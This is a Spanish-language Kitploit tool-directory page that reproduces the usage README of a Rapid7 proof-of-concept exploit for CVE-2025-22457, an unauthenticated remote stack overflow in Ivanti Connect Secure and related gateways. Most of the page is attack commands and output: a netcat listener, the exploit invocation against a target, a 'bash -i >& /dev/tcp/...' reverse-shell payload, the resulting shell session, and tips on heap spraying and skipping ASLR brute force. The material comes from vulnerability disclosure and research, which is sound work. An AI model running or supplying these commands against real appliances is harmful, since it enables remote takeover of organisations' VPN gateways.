Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-22457 — PoC para CVE-2025-22457 - Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways | Kitploit
Herramientas/GitHubGitHub/sfewer-r7/cve-2025-22457
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoExplotación de Binarios
GitHubsfewer-r7/cve-2025-22457

CVE-2025-22457

PoC para CVE-2025-22457 - Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways

73153hace 1 añoRevisado por Kitploit
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC para CVE-2025-22457

Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways

Resumen

Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-22457. Para un análisis técnico completo de la vulnerabilidad y la estrategia de explotación, consulte nuestro análisis de Rapid7 aquí:

https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis

Uso

Podemos ejecutar este script contra un objetivo Ivanti Connect Secure vulnerable, versión 22.7r2.4, de la siguiente manera:

Inicie un listener netcat para capturar la shell inversa.

root@kitploit:~
C:\>ncat -lnvkp 8080

Ejecute el exploit y fuerce ASLR por fuerza bruta (Esto será lento).

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..

Cuando funcione, obtendrá una shell inversa.

root@kitploit:~
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

Depuración

Procesos hijo de Web

Dependiendo del hardware subyacente, la cantidad de CPUs disponibles en el appliance objetivo determinará la cantidad de procesos hijo que generará el binario /home/bin/web. Dado que todas las solicitudes HTTPS entrantes se distribuirán uniformemente entre estos hijos, debemos tener esto en cuenta y realizar el heap spray las veces suficientes para todos los procesos hijo. Necesitamos hacer esto porque cuando desencadenamos la vulnerabilidad, no podemos saber en qué proceso hijo la desencadenaremos. Por lo tanto, necesitamos que el heap spray esté presente en cada proceso hijo.

  • 1 vCPU - 1 proceso web, sin hijos
  • 2 vCPU - 1 proceso padre web, 2 hijos
  • 4 vCPU - 1 proceso padre web, 4 hijos (Este es el valor predeterminado, y corresponde a la plataforma Ivanti Connect Secure ISA4000-V)
  • 8 vCPU - 1 proceso padre web, 8 hijos (Esto corresponde a la plataforma Ivanti Connect Secure ISA6000-V)

Por ejemplo, en un appliance vulnerable y con root, ejecute lo siguiente para ver la cantidad de procesos hijo de /home/bin/web:

root@kitploit:~
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

Puede especificar el número esperado de hijos web mediante el argumento --web_children, por ejemplo:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

Dirección base de libdsplibs

Si está probando el PoC en un sistema local, es posible que desee evitar el forzado bruto de la dirección base de libdsplibs. En este escenario, puede pasar una dirección base conocida al PoC mediante el argumento --libdsplibs. Por ejemplo, en un appliance vulnerable y con root, ejecute lo siguiente:

root@kitploit:~
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

Luego puede pasar la dirección base conocida al PoC de la siguiente manera:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering...
Descargar herramienta